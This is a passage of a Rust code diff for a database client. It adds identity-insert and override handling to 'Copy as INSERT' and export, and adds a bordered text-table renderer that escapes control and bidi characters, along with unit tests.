-    let mut cells = row.into_iter();
-    // A row shorter than its header leaves its last cells absent, which
-    // is as close to unknown as SQL has.
-    let cells: Vec<(&ResultColumn, &str, Option<&Value>)> = columns
-        .iter()
-        .zip(&shape.names)
-        .filter_map(|(column, name)| {
-            let cell = cells.next();
-            Some((column, name.as_deref()?, cell))
-        })
-        .collect();
-    let leaves_out_nulls = !dialect.insert_names_null_cells() && cells.iter().any(|(_, _, cell)| !is_null(*cell));
-    let (names, values): (Vec<&str>, Vec<String>) = cells
-        .into_iter()
-        .filter(|(_, _, cell)| !(leaves_out_nulls && is_null(*cell)))
-        .map(|(column, name, cell)| {
-            let text = cell.map_or_else(|| "NULL".to_owned(), |value| literal(dialect, value, column));
-            (name, text)
-        })
-        .unzip();
-    if shape.document {
-        let pairs: Vec<(String, String)> = names.into_iter().map(str::to_owned).zip(values).collect();
-        out.push_str(&shape.start);
-        out.push_str(&crate::document::insert_document(&pairs));
+    pub(super) fn row<'a>(
+        &mut self,
+        out: &mut String,
+        dialect: &dyn SqlDialect,
+        columns: &[ResultColumn],
+        row: impl IntoIterator<Item = &'a Value>,
+    ) {
+        let mut cells = row.into_iter();
+        // A row shorter than its header leaves its last cells absent, which
+        // is as close to unknown as SQL has.
+        let cells: Vec<(&ResultColumn, &WrittenColumn, Option<&Value>)> = columns
+            .iter()
+            .zip(&self.columns)
+            .filter_map(|(column, written)| {
+                let cell = cells.next();
+                Some((column, written.as_ref()?, cell))
+            })
+            .collect();
+        let leaves_out_nulls = !dialect.insert_names_null_cells() && cells.iter().any(|(_, _, cell)| !is_null(*cell));
+        let cells: Vec<(&ResultColumn, &WrittenColumn, Option<&Value>)> = cells
+            .into_iter()
+            .filter(|(_, _, cell)| !(leaves_out_nulls && is_null(*cell)))
+            .collect();
+        let writes_numbered = cells.iter().any(|(_, written, _)| written.numbered);
+        if let Some(line) = identity_switch(dialect, &self.table_sql, &mut self.identity_on, writes_numbered) {
+            out.push_str(&line);
+            out.push('\n');
+        }
+        let (names, values): (Vec<&str>, Vec<String>) = cells
+            .into_iter()
+            .map(|(column, written, cell)| {
+                let text = cell.map_or_else(|| "NULL".to_owned(), |value| literal(dialect, value, column));
+                (written.name.as_str(), text)
+            })
+            .unzip();
+        if self.document {
+            let pairs: Vec<(String, String)> = names.into_iter().map(str::to_owned).zip(values).collect();
+            out.push_str(&self.start);
+            out.push_str(&crate::document::insert_document(&pairs));
+            out.push_str(");\n");
+            return;
+        }
+        match leaves_out_nulls {
+            true => {
+                out.push_str("INSERT INTO ");
+                out.push_str(&self.table_sql);
+                out.push_str(" (");
+                out.push_str(&names.join(", "));
+                out.push_str(") ");
+                push_overriding(out, dialect, writes_numbered);
+                out.push_str("VALUES ");
+            }
+            false => out.push_str(&self.start),
+        }
+        out.push('(');
+        out.push_str(&values.join(", "));
         out.push_str(");\n");
-        return;
-    }
-    match leaves_out_nulls {
-        true => {
-            out.push_str("INSERT INTO ");
-            out.push_str(&shape.table_sql);
-            out.push_str(" (");
-            out.push_str(&names.join(", "));
-            out.push_str(") VALUES ");
+    }
+
+    /// Ends a run of statements the identity insert is still on for.
+    pub(super) fn finish(&mut self, out: &mut String, dialect: &dyn SqlDialect) {
+        if let Some(line) = identity_switch(dialect, &self.table_sql, &mut self.identity_on, false) {
+            out.push_str(&line);
+            out.push('\n');
         }
-        false => out.push_str(&shape.start),
     }
-    out.push('(');
-    out.push_str(&values.join(", "));
-    out.push_str(");\n");
 }
 
 fn is_null(cell: Option<&Value>) -> bool {
     matches!(cell, None | Some(Value::Null))
 }
 
-/// One row as an `INSERT` the user can paste and run.
+/// What turns the table's identity insert on before a run of
+/// statements that write a numbered column, or off before one that does
+/// not. SQL Server fails an INSERT that leaves the identity column out
+/// while it is on, and lets one table of a session have it on at a
+/// time, so it is on for no more than the run.
+fn identity_switch(dialect: &dyn SqlDialect, table_sql: &str, on: &mut bool, wanted: bool) -> Option<String> {
+    if *on == wanted {
+        return None;
+    }
+    *on = wanted;
+    dialect.identity_insert(table_sql, wanted)
+}
+
+fn push_overriding(sql: &mut String, dialect: &dyn SqlDialect, writes_numbered: bool) {
+    if let Some(clause) = dialect.insert_overriding_clause().filter(|_| writes_numbered) {
+        sql.push_str(clause);
+        sql.push(' ');
+    }
+}
+
+/// Rows as `INSERT` statements the user can paste and run, one a line.
 ///
 /// Unlike an export, a value with no literal is an error rather than a
-/// marked `NULL`: a single statement copied to run again is worth
-/// nothing with a cell quietly swapped out. A `Default` cell and a
-/// generated column are left out, as a save leaves them, so the server
-/// fills them.
-pub fn render_insert(
+/// marked `NULL`: a statement copied to run again is worth nothing with
+/// a cell quietly swapped out. A `Default` cell and a generated column
+/// are left out, as a save leaves them, so the server fills them. A
+/// value in a column the server numbers is kept, written the way the
+/// engine lets an INSERT set one, so a copied row lands with its key.
+pub fn render_inserts(
     dialect: &dyn SqlDialect,
     table: &TableRef,
     columns: &[ColumnInfo],
-    cells: &[CellInput],
+    rows: &[Vec<CellInput>],
 ) -> Result<String, RenderInsertError> {
     let table_sql = dialect.portable_name(table);
+    let mut lines = Vec::with_capacity(rows.len());
+    let mut identity_on = false;
+    for cells in rows {
+        let (sql, writes_numbered) = row_insert(dialect, table, &table_sql, columns, cells)?;
+        lines.extend(identity_switch(dialect, &table_sql, &mut identity_on, writes_numbered));
+        lines.push(sql);
+    }
+    lines.extend(identity_switch(dialect, &table_sql, &mut identity_on, false));
+    Ok(lines.join("\n"))
+}
+
+/// One row's statement, and whether it writes a column the server
+/// numbers.
+fn row_insert(
+    dialect: &dyn SqlDialect,
+    table: &TableRef,
+    table_sql: &str,
+    columns: &[ColumnInfo],
+    cells: &[CellInput],
+) -> Result<(String, bool), RenderInsertError> {
     let mut names = Vec::with_capacity(columns.len());
     let mut values = Vec::with_capacity(columns.len());
+    let mut writes_numbered = false;
     for (index, column) in columns.iter().enumerate() {
         if !column.is_writable() {
             continue;
@@ -166,28 +250,31 @@ pub fn render_insert(
             Some(CellInput::Value(value)) => dialect.literal(value, &column.column_type)?,
             None => "NULL".to_owned(),
         };
+        writes_numbered |= column.is_auto_increment;
         names.push(dialect.quote_identifier(&column.name));
         values.push(value);
     }
     if crate::document::speaks_shell(dialect) {
         let pairs = document_fields(columns, cells, dialect)?;
-        return Ok(format!(
+        let sql = format!(
             "{}{});",
             crate::document::insert_start(table),
             crate::document::insert_document(&pairs)
-        ));
+        );
+        return Ok((sql, false));
     }
     if names.is_empty() {
         let sql = dialect
-            .insert_default_row(&table_sql)
+            .insert_default_row(table_sql)
             .ok_or(RenderInsertError::NoValues)?;
-        return Ok(format!("{sql};"));
+        return Ok((format!("{sql};"), false));
     }
-    Ok(format!(
-        "INSERT INTO {table_sql} ({}) VALUES ({});",
-        names.join(", "),
-        values.join(", ")
-    ))
+    let mut sql = format!("INSERT INTO {table_sql} ({}) ", names.join(", "));
+    push_overriding(&mut sql, dialect, writes_numbered);
+    sql.push_str("VALUES (");
+    sql.push_str(&values.join(", "));
+    sql.push_str(");");
+    Ok((sql, writes_numbered))
 }
 
 /// A document's fields for Copy As INSERT: each cell set, under its
@@ -219,9 +306,17 @@ pub fn literal(dialect: &dyn SqlDialect, value: &Value, column: &ResultColumn) -
 
 #[cfg(test)]
 mod tests {
+    use std::sync::Arc;
+
     use super::super::test_columns::cols;
+    use super::super::{RowEncoder, SqlInsertEncoder};
     use super::*;
-    use crate::dialect::{LiteralError, TestDialect};
+    use crate::column::{ColumnType, SqlExpression};
+    use crate::dialect::{
+        BindError, BindTarget, DialectCapabilities, KeysetDirection, LiteralError, Placeholder, TestDialect,
+    };
+    use crate::meta::{EngineRowId, EngineRowIdPart};
+    use crate::sql_syntax::{ExpressionSyntaxError, HistoryRecording, SqlGrammar, TypeSyntaxError};
 
     fn render(table: &str, columns: &[ResultColumn], rows: &[Vec<Value>]) -> String {
         render_sql_insert(
@@ -229,6 +324,7 @@ mod tests {
             &TableRef::unqualified(table),
             columns,
             &[],
+            &[],
             rows,
         )
     }
@@ -240,6 +336,7 @@ mod tests {
             &TableRef::new(Some("sales".to_owned()), "orders"),
             &cols(&["id"]),
             &[],
+            &[],
             &[vec![Value::Int(1)]],
         );
 
@@ -253,6 +350,7 @@ mod tests {
             &TableRef::unqualified("orders"),
             &cols(&["id", "total", "name"]),
             &["total".to_owned()],
+            &[],
             &[vec![Value::Int(1), Value::Int(9), Value::Text("a".into())]],
         );
 
@@ -340,35 +438,61 @@ mod tests {
         }
     }
 
+    fn numbered(name: &str) -> ColumnInfo {
+        ColumnInfo {
+            primary_key: true,
+            is_auto_increment: true,
+            nullable: false,
+            ..column(name, false)
+        }
+    }
+
     fn values(row: &[Value]) -> Vec<CellInput> {
         row.iter().cloned().map(CellInput::Value).collect()
     }
 
+    fn insert_one(dialect: &dyn SqlDialect, table: &TableRef, columns: &[ColumnInfo], cells: Vec<CellInput>) -> String {
+        render_inserts(dialect, table, columns, &[cells]).expect("the statement")
+    }
+
     #[test]
-    fn render_insert_qualifies_schema_and_skips_generated() {
+    fn render_inserts_qualifies_schema_and_skips_generated() {
         let columns = [column("id", false), column("total", true), column("name", false)];
         let row = [Value::Int(1), Value::Int(9), Value::Text("O'Brien".into())];
 
-        let sql = render_insert(
+        let sql = insert_one(
             &TestDialect::default(),
             &TableRef::new(Some("sales".to_owned()), "orders"),
             &columns,
-            &values(&row),
+            values(&row),
+        );
+
+        assert_eq!(
+            sql,
+            "INSERT INTO \"sales\".\"orders\" (\"id\", \"name\") VALUES (1, 'O''Brien');"
         );
+    }
+
+    #[test]
+    fn render_inserts_puts_one_statement_on_each_line() {
+        let columns = [column("id", false)];
+        let rows = [values(&[Value::Int(1)]), values(&[Value::Int(2)])];
+
+        let sql = render_inserts(&TestDialect::default(), &TableRef::unqualified("t"), &columns, &rows);
 
         assert_eq!(
             sql.as_deref(),
-            Ok("INSERT INTO \"sales\".\"orders\" (\"id\", \"name\") VALUES (1, 'O''Brien');")
+            Ok("INSERT INTO \"t\" (\"id\") VALUES (1);\nINSERT INTO \"t\" (\"id\") VALUES (2);")
         );
     }
 
     #[test]
-    fn render_insert_refuses_a_value_with_no_literal() {
-        let sql = render_insert(
+    fn render_inserts_refuses_a_value_with_no_literal() {
+        let sql = render_inserts(
             &TestDialect::default(),
             &TableRef::unqualified("t"),
             &[column("blob", false)],
-            &values(&[Value::Bytes(vec![0xde, 0xad])]),
+            &[values(&[Value::Bytes(vec![0xde, 0xad])])],
         );
 
         assert!(
@@ -381,29 +505,330 @@ mod tests {
     }
 
     #[test]
-    fn render_insert_leaves_a_default_cell_to_the_server() {
+    fn render_inserts_leaves_a_default_cell_to_the_server() {
         let columns = [column("id", false), column("name", false), column("created_at", false)];
-        let cells = [
+        let cells = vec![
             CellInput::Default,
             CellInput::Value(Value::Text("x".into())),
             CellInput::Default,
         ];
 
-        let sql = render_insert(&TestDialect::default(), &TableRef::unqualified("t"), &columns, &cells);
+        let sql = insert_one(&TestDialect::default(), &TableRef::unqualified("t"), &columns, cells);
 
-        assert_eq!(sql.as_deref(), Ok("INSERT INTO \"t\" (\"name\") VALUES ('x');"));
+        assert_eq!(sql, "INSERT INTO \"t\" (\"name\") VALUES ('x');");
     }
 
     #[test]
-    fn render_insert_with_nothing_to_write_needs_a_default_row_form() {
+    fn render_inserts_with_nothing_to_write_needs_a_default_row_form() {
         let columns = [column("id", false)];
-        let cells = [CellInput::Default];
+        let rows = [vec![CellInput::Default]];
         let table = TableRef::unqualified("t");
 
-        let with_form = render_insert(&TestDialect::default(), &table, &columns, &cells);
-        let without = render_insert(&TestDialect::default().without_default_row(), &table, &columns, &cells);
+        let with_form = render_inserts(&TestDialect::default(), &table, &columns, &rows);
+        let without = render_inserts(&TestDialect::default().without_default_row(), &table, &columns, &rows);
 
         assert_eq!(with_form.as_deref(), Ok("INSERT INTO \"t\" DEFAULT VALUES;"));
         assert_eq!(without, Err(RenderInsertError::NoValues));
     }
+
+    /// The test dialect, with an engine's ways of letting an INSERT
+    /// write a column the server numbers.
+    #[derive(Debug, Default)]
+    struct Numbering {
+        inner: TestDialect,
+        overriding: bool,
+        identity_insert: bool,
+        null_cells_left_out: bool,
+    }
+
+    impl Numbering {
+        fn overriding_only() -> Self {
+            Self {
+                overriding: true,
+                ..Self::default()
+            }
+        }
+
+        fn identity_insert_only() -> Self {
+            Self {
+                identity_insert: true,
+                ..Self::default()
+            }
+        }
+
+        fn both() -> Self {
+            Self {
+                overriding: true,
+                identity_insert: true,
+                ..Self::default()
+            }
+        }
+    }
+
+    impl SqlDialect for Numbering {
+        fn capabilities(&self) -> DialectCapabilities {
+            self.inner.capabilities()
+        }
+
+        fn grammar(&self) -> SqlGrammar {
+            self.inner.grammar()
+        }
+
+        fn quote_identifier(&self, name: &str) -> String {
+            self.inner.quote_identifier(name)
+        }
+
+        fn placeholder(&self, ordinal: usize, value: Value, target: BindTarget<'_>) -> Result<Placeholder, BindError> {
+            self.inner.placeholder(ordinal, value, target)
+        }
+
+        fn literal(&self, value: &Value, column: &ColumnType) -> Result<String, LiteralError> {
+            self.inner.literal(value, column)
+        }
+
+        fn escape_like_text(&self, text: &str) -> String {
+            self.inner.escape_like_text(text)
+        }
+
+        fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String {
+            self.inner.row_window(order_by, limit, offset)
+        }
+
+        fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String {
+            self.inner.row_value_after(key_sql, markers, direction)
+        }
+
+        fn engine_row_id(&self, id: EngineRowId) -> Option<String> {
+            self.inner.engine_row_id(id)
+        }
+
+        fn engine_row_id_column(&self, part: EngineRowIdPart) -> Option<String> {
+            self.inner.engine_row_id_column(part)
+        }
+
+        fn parse_type(&self, text: &str) -> Result<ColumnType, TypeSyntaxError> {
+            self.inner.parse_type(text)
+        }
+
+        fn parse_expression(&self, text: &str) -> Result<SqlExpression, ExpressionSyntaxError> {
+            self.inner.parse_expression(text)
+        }
+
+        fn history_recording(&self, sql: &str) -> HistoryRecording {
+            self.inner.history_recording(sql)
+        }
+
+        fn insert_names_null_cells(&self) -> bool {
+            !self.null_cells_left_out
+        }
+
+        fn insert_overriding_clause(&self) -> Option<&'static str> {
+            self.overriding.then_some("OVERRIDING SYSTEM VALUE")
+        }
+
+        fn identity_insert(&self, table_sql: &str, on: bool) -> Option<String> {
+            let state = match on {
+                true => "ON",
+                false => "OFF",
+            };
+            self.identity_insert
+                .then(|| format!("SET IDENTITY_INSERT {table_sql} {state};"))
+        }
+    }
+
+    fn saved(id: i64, name: &str) -> Vec<CellInput> {
+        values(&[Value::Int(id), Value::Text(name.into())])
+    }
+
+    fn draft(name: &str) -> Vec<CellInput> {
+        vec![CellInput::Default, CellInput::Value(Value::Text(name.into()))]
+    }
+
+    #[test]
+    fn only_a_statement_that_writes_a_numbered_column_overrides_it() {
+        let columns = [numbered("id"), column("name", false)];
+
+        let sql = render_inserts(
+            &Numbering::overriding_only(),
+            &TableRef::unqualified("t"),
+            &columns,
+            &[saved(7, "a"), draft("b")],
+        );
+
+        assert_eq!(
+            sql.as_deref(),
+            Ok(
+                "INSERT INTO \"t\" (\"id\", \"name\") OVERRIDING SYSTEM VALUE VALUES (7, 'a');\n\
+                INSERT INTO \"t\" (\"name\") VALUES ('b');"
+            )
+        );
+    }
+
+    #[test]
+    fn identity_insert_is_on_for_each_run_of_rows_that_write_the_numbered_column() {
+        let columns = [numbered("id"), column("name", false)];
+        let rows = [saved(1, "a"), saved(2, "b"), draft("c"), saved(3, "d")];
+
+        let sql = render_inserts(
+            &Numbering::identity_insert_only(),
+            &TableRef::new(Some("dbo".to_owned()), "t"),
+            &columns,
+            &rows,
+        );
+
+        assert_eq!(
+            sql.as_deref(),
+            Ok("SET IDENTITY_INSERT \"dbo\".\"t\" ON;\n\
+                INSERT INTO \"dbo\".\"t\" (\"id\", \"name\") VALUES (1, 'a');\n\
+                INSERT INTO \"dbo\".\"t\" (\"id\", \"name\") VALUES (2, 'b');\n\
+                SET IDENTITY_INSERT \"dbo\".\"t\" OFF;\n\
+                INSERT INTO \"dbo\".\"t\" (\"name\") VALUES ('c');\n\
+                SET IDENTITY_INSERT \"dbo\".\"t\" ON;\n\
+                INSERT INTO \"dbo\".\"t\" (\"id\", \"name\") VALUES (3, 'd');\n\
+                SET IDENTITY_INSERT \"dbo\".\"t\" OFF;")
+        );
+    }
+
+    #[test]
+    fn rows_that_write_no_numbered_column_need_neither() {
+        let columns = [numbered("id"), column("name", false)];
+
+        let sql = render_inserts(
+            &Numbering::both(),
+            &TableRef::unqualified("t"),
+            &columns,
+            &[draft("a"), vec![CellInput::Default, CellInput::Default]],
+        );
+
+        assert_eq!(
+            sql.as_deref(),
+            Ok("INSERT INTO \"t\" (\"name\") VALUES ('a');\nINSERT INTO \"t\" DEFAULT VALUES;")
+        );
+    }
+
+    #[test]
+    fn a_shell_insert_never_overrides() {
+        let dialect = Numbering {
+            inner: TestDialect::default().parsing_as(SqlGrammar::Mongo),
+            ..Numbering::both()
+        };
+        let table = TableRef::unqualified("t");
+
+        let copied = render_inserts(
+            &dialect,
+            &table,
+            &[numbered("_id"), column("name", false)],
+            &[saved(1, "a")],
+        )
+        .expect("the insert");
+        let exported = render_sql_insert(
+            &dialect,
+            &table,
+            &cols(&["_id", "name"]),
+            &[],
+            &["_id".to_owned()],
+            &[vec![Value::Int(1), Value::Text("a".into())]],
+        );
+
+        for sql in [copied, exported] {
+            assert!(sql.contains("insertOne("), "{sql}");
+            assert!(!sql.contains("OVERRIDING"), "{sql}");
+            assert!(!sql.contains("IDENTITY_INSERT"), "{sql}");
+        }
+    }
+
+    #[test]
+    fn an_export_overrides_the_numbered_column_inside_one_run() {
+        let rows = [
+            vec![Value::Int(1), Value::Text("a".into())],
+            vec![Value::Int(2), Value::Text("b".into())],
+        ];
+
+        let sql = render_sql_insert(
+            &Numbering::both(),
+            &TableRef::unqualified("t"),
+            &cols(&["id", "name"]),
+            &[],
+            &["id".to_owned()],
+            &rows,
+        );
+
+        assert_eq!(
+            sql,
+            "SET IDENTITY_INSERT \"t\" ON;\n\
+             INSERT INTO \"t\" (\"id\", \"name\") OVERRIDING SYSTEM VALUE VALUES (1, 'a');\n\
+             INSERT INTO \"t\" (\"id\", \"name\") OVERRIDING SYSTEM VALUE VALUES (2, 'b');\n\
+             SET IDENTITY_INSERT \"t\" OFF;\n"
+        );
+    }
+
+    #[test]
+    fn an_export_that_leaves_out_null_cells_overrides_only_where_the_number_is_written() {
+        let dialect = Numbering {
+            null_cells_left_out: true,
+            ..Numbering::both()
+        };
+        let rows = [
+            vec![Value::Int(1), Value::Text("a".into())],
+            vec![Value::Null, Value::Text("b".into())],
+        ];
+
+        let sql = render_sql_insert(
+            &dialect,
+            &TableRef::unqualified("t"),
+            &cols(&["id", "name"]),
+            &[],
+            &["id".to_owned()],
+            &rows,
+        );
+
+        assert_eq!(
+            sql,
+            "SET IDENTITY_INSERT \"t\" ON;\n\
+             INSERT INTO \"t\" (\"id\", \"name\") OVERRIDING SYSTEM VALUE VALUES (1, 'a');\n\
+             SET IDENTITY_INSERT \"t\" OFF;\n\
+             INSERT INTO \"t\" (\"name\") VALUES ('b');\n"
+        );
+    }
+
+    /// Every call's output taken as soon as it is written, as an export
+    /// sink takes it.
+    fn streamed(mut encoder: SqlInsertEncoder, rows: &[Vec<Value>]) -> String {
+        let mut taken = Vec::new();
+        let mut out = Vec::new();
+        encoder.begin(&mut out);
+        taken.append(&mut out);
+        for row in rows {
+            encoder.row(&mut out, &mut row.iter()).expect("the row");
+            taken.append(&mut out);
+        }
+        encoder.finish(&mut out);
+        taken.append(&mut out);
+        String::from_utf8(taken).expect("utf-8")
+    }
+
+    #[test]
+    fn the_encoder_switches_identity_insert_where_the_export_does() {
+        let leaving_out_nulls = Numbering {
+            null_cells_left_out: true,
+            ..Numbering::both()
+        };
+        let columns: Arc<[ResultColumn]> = cols(&["id", "name"]).into();
+        let numbered = ["id".to_owned()];
+        let table = TableRef::unqualified("t");
+        let rows = [
+            vec![Value::Int(1), Value::Text("a".into())],
+            vec![Value::Null, Value::Text("b".into())],
+            vec![Value::Int(3), Value::Text("c".into())],
+        ];
+        for dialect in [Numbering::both(), leaving_out_nulls] {
+            let dialect: Arc<dyn SqlDialect> = Arc::new(dialect);
+            let encoder = SqlInsertEncoder::new(dialect.clone(), &table, columns.clone(), &[], &numbered);
+
+            assert_eq!(
+                streamed(encoder, &rows),
+                render_sql_insert(&*dialect, &table, &columns, &[], &numbered, &rows)
+            );
+        }
+    }
 }
diff --git a/linux/crates/core/src/export/text_table.rs b/linux/crates/core/src/export/text_table.rs
new file mode 100644
index 0000000000..df08515393
--- /dev/null
+++ b/linux/crates/core/src/export/text_table.rs
@@ -0,0 +1,342 @@
+use std::fmt::Write;
+
+use comfy_table::{Cell, CellAlignment, Table};
+use thiserror::Error;
+use unicode_width::{UnicodeWidthChar, UnicodeWidthStr};
+
+use crate::column::ResultColumn;
+use crate::value::Value;
+
+use super::column_type;
+use super::encoder::{EncodeError, readable_cells};
+use super::value_text::value_text;
+
+/// The borders psql draws with `\pset border 2`. ASCII, since box drawing
+/// characters are East Asian Ambiguous and some fonts draw them two
+/// columns wide.
+const BORDERS: &str = "||--+-++|    ++++++";
+
+/// Every row is padded to each column's widest cell, so one long value
+/// is repeated as spaces down the whole column, and comfy-table holds
+/// each cell as strings of its own while it lays them out. A table past
+/// this size is refused rather than built.
+const MAX_TABLE_BYTES: usize = 64 * 1024 * 1024;
+
+/// What comfy-table holds per cell beside its text.
+const CELL_BYTES: usize = 256;
+
+/// comfy-table keeps a column's width with its padding in a `u16`, and
+/// wraps a longer line.
+const MAX_COLUMN_WIDTH: usize = u16::MAX as usize - 2;
+
+/// A tab moves to the next multiple of this, as a terminal draws it.
+const TAB_STOP: usize = 8;
+
+#[derive(Debug, Error)]
+pub enum TextTableError {
+    #[error(transparent)]
+    Encode(#[from] EncodeError),
+    #[error("the table would be too large to hold as text")]
+    TooLarge,
+}
+
+/// A table drawn in text with borders, for a monospace place: a chat, a
+/// ticket, a terminal. A line break in a value continues the cell on the
+/// next line, numbers line up on their last digit and NULL reads `NULL`.
+pub fn render_text_table<'a, R>(columns: &[ResultColumn], rows: R) -> Result<String, TextTableError>
+where
+    R: IntoIterator,
+    R::Item: IntoIterator<Item = &'a Value>,
+{
+    let header: Vec<String> = columns.iter().map(|column| drawn_text(&column.name)).collect();
+    let mut widths: Vec<usize> = header.iter().map(|text| drawn_width(text)).collect();
+    let mut bytes: Vec<usize> = header.iter().map(|text| line_bytes(text)).collect();
+    let mut lines = line_count(&header);
+    let mut cell_count = header.len();
+    let mut numbers = vec![NumberColumn::default(); columns.len()];
+    let mut body = Vec::new();
+    for row in rows {
+        let cells = readable_cells(columns, &mut row.into_iter())?;
+        let texts: Vec<String> = cells
+            .iter()
+            .enumerate()
+            .map(|(index, value)| {
+                let column = column_type(columns, index);
+                if let Some(number) = numbers.get_mut(index) {
+                    number.take(value);
+                }
+                value_text(value, column).map_or_else(|| "NULL".to_owned(), |text| drawn_text(&text))
+            })
+            .collect();
+        if widths.len() < texts.len() {
+            widths.resize(texts.len(), 0);
+            bytes.resize(texts.len(), 0);
+        }
+        for ((width, most), text) in widths.iter_mut().zip(bytes.iter_mut()).zip(&texts) {
+            *width = (*width).max(drawn_width(text));
+            *most = (*most).max(line_bytes(text));
+        }
+        lines += line_count(&texts);
+        cell_count += texts.len();
+        body.push(texts);
+    }
+    // A line holds each column's widest text, a space either side and a
+    // border, and the table four border lines.
+    let line_size = bytes.iter().map(|most| most + 3).sum::<usize>() + 2;
+    let size = (lines + 4)
+        .saturating_mul(line_size)
+        .saturating_add(cell_count.saturating_mul(CELL_BYTES));
+    if widths.iter().any(|width| *width > MAX_COLUMN_WIDTH) || size > MAX_TABLE_BYTES {
+        return Err(TextTableError::TooLarge);
+    }
+
+    let mut table = Table::new();
+    // comfy-table otherwise asks whether stdout is a terminal for every
+    // line it draws, and this text never goes there.
+    table.force_no_tty();
+    table.load_preset(BORDERS);
+    table.set_header(
+        header
+            .into_iter()
+            .map(|name| Cell::new(name).set_alignment(CellAlignment::Left)),
+    );
+    table.add_rows(body);
+    for (index, number) in numbers.iter().enumerate() {
+        let column = column_type(columns, index);
+        let right = column.kind.is_numeric() || (column.kind.is_untyped() && number.only_numbers());
+        if let (true, Some(column)) = (right, table.column_mut(index)) {
+            column.set_cell_alignment(CellAlignment::Right);
+        }
+    }
+    let mut out = String::with_capacity(lines.saturating_mul(line_size));
+    for line in table.lines() {
+        if !out.is_empty() {
+            out.push('\n');
+        }
+        out.push_str(&line);
+    }
+    Ok(out)
+}
+
+/// Whether a column of no declared type held only numbers, as the grid
+/// decides it before it lines them up.
+#[derive(Debug, Clone, Copy)]
+struct NumberColumn {
+    held: bool,
+    all: bool,
+}
+
+impl Default for NumberColumn {
+    fn default() -> Self {
+        Self { held: false, all: true }
+    }
+}
+
+impl NumberColumn {
+    fn take(&mut self, value: &Value) {
+        if !value.is_null() {
+            self.held = true;
+            self.all &= value.is_number();
+        }
+    }
+
+    fn only_numbers(self) -> bool {
+        self.held && self.all
+    }
+}
+
+/// The text a cell draws. A line break starts the cell's next line and a
+/// tab moves to the next stop. Any other control character, the Unicode
+/// line and paragraph separators and the bidi controls are written as
+/// escapes: a terminal or a chat would act on them, break the row there or
+/// reorder the cells after them, and the width the table counts would not
+/// be the width drawn.
+fn drawn_text(text: &str) -> String {
+    let mut out = String::with_capacity(text.len());
+    let mut column = 0;
+    let mut chars = text.chars().peekable();
+    while let Some(character) = chars.next() {
+        match character {
+            '\r' if chars.peek() == Some(&'\n') => {}
+            '\n' | '\r' => {
+                out.push('\n');
+                column = 0;
+            }
+            '\t' => {
+                let stop = (column / TAB_STOP + 1) * TAB_STOP;
+                out.extend(std::iter::repeat_n(' ', stop - column));
+                column = stop;
+            }
+            '\u{2028}'
+            | '\u{2029}'
+            | '\u{061c}'
+            | '\u{200e}'
+            | '\u{200f}'
+            | '\u{202a}'..='\u{202e}'
+            | '\u{2066}'..='\u{2069}' => {
+                let _ = write!(out, "\\u{:04x}", u32::from(character));
+                column += 6;
+            }
+            control if control.is_control() => {
+                let _ = write!(out, "\\x{:02x}", u32::from(control));
+                column += 4;
+            }
+            other => {
+                out.push(other);
+                column += other.width().unwrap_or(0);
+            }
+        }
+    }
+    out
+}
+
+/// The columns the widest line of a cell takes.
+fn drawn_width(text: &str) -> usize {
+    text.split('\n').map(UnicodeWidthStr::width).max().unwrap_or(0)
+}
+
+/// The bytes the longest line of a cell takes, never fewer than the
+/// columns it draws.
+fn line_bytes(text: &str) -> usize {
+    text.split('\n').map(str::len).max().unwrap_or(0)
+}
+
+/// The lines the tallest cell of a row takes.
+fn line_count(texts: &[String]) -> usize {
+    texts.iter().map(|text| text.split('\n').count()).max().unwrap_or(1)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::super::test_columns::{cols, typed};
+    use super::*;
+    use crate::column::{ColumnKind, ColumnType, IntegerKind, IntegerWidth};
+    use crate::value::{UndecodableReason, UndecodedValue};
+
+    fn table(columns: &[ResultColumn], rows: &[Vec<Value>]) -> String {
+        render_text_table(columns, rows).expect("the table")
+    }
+
+    fn id_column() -> ResultColumn {
+        typed(
+            "id",
+            "bigint",
+            ColumnKind::Integer(IntegerKind {
+                width: IntegerWidth::W64,
+                signed: true,
+            }),
+        )
+    }
+
+    #[test]
+    fn text_table_draws_borders_and_lines_up_numbers_on_the_right() {
+        let columns = vec![id_column(), cols(&["name"]).remove(0)];
+        let rows = vec![
+            vec![Value::Int(1), Value::Text("Ada Lovelace".into())],
+            vec![Value::Int(200), Value::Null],
+        ];
+
+        assert_eq!(
+            table(&columns, &rows),
+            "+-----+--------------+\n\
+             | id  | name         |\n\
+             +-----+--------------+\n\
+             |   1 | Ada Lovelace |\n\
+             | 200 | NULL         |\n\
+             +-----+--------------+"
+        );
+    }
+
+    #[test]
+    fn text_table_lines_up_an_untyped_column_of_numbers_as_the_grid_does() {
+        let columns = vec![
+            ResultColumn::new("total", ColumnType::untyped_text("text")),
+            ResultColumn::new("code", ColumnType::untyped_text("text")),
+        ];
+        let rows = vec![
+            vec![Value::Text("10.5".into()), Value::Text("7".into())],
+            vec![Value::Null, Value::Text("A7".into())],
+            vec![Value::Text("3".into()), Value::Text("12".into())],
+        ];
+
+        assert_eq!(
+            table(&columns, &rows),
+            "+-------+------+\n\
+             | total | code |\n\
+             +-------+------+\n\
+             |  10.5 | 7    |\n\
+             |  NULL | A7   |\n\
+             |     3 | 12   |\n\
+             +-------+------+"
+        );
+    }
+
+    #[test]
+    fn text_table_continues_a_line_break_on_the_next_line_and_measures_wide_characters() {
+        let rows = vec![
+            vec![Value::Text("two\r\nlines".into())],
+            vec![Value::Text("日本".into())],
+        ];
+
+        assert_eq!(
+            table(&cols(&["a"]), &rows),
+            "+-------+\n\
+             | a     |\n\
+             +-------+\n\
+             | two   |\n\
+             | lines |\n\
+             | 日本  |\n\
+             +-------+"
+        );
+    }
+
+    #[test]
+    fn text_table_expands_tabs_and_escapes_other_control_and_bidi_characters() {
+        let rows = vec![
+            vec![Value::Text("a\tb\u{1b}[31m\u{2028}".into())],
+            vec![Value::Text("Bob\u{202e}\u{2066}".into())],
+        ];
+
+        assert_eq!(
+            table(&cols(&["a"]), &rows),
+            "+-------------------------+\n\
+             | a                       |\n\
+             +-------------------------+\n\
+             | a       b\\x1b[31m\\u2028 |\n\
+             | Bob\\u202e\\u2066         |\n\
+             +-------------------------+"
+        );
+    }
+
+    #[test]
+    fn text_table_of_no_rows_closes_under_its_header_as_psql_draws_it() {
+        assert_eq!(table(&cols(&["id"]), &[]), "+----+\n| id |\n+----+\n+----+");
+    }
+
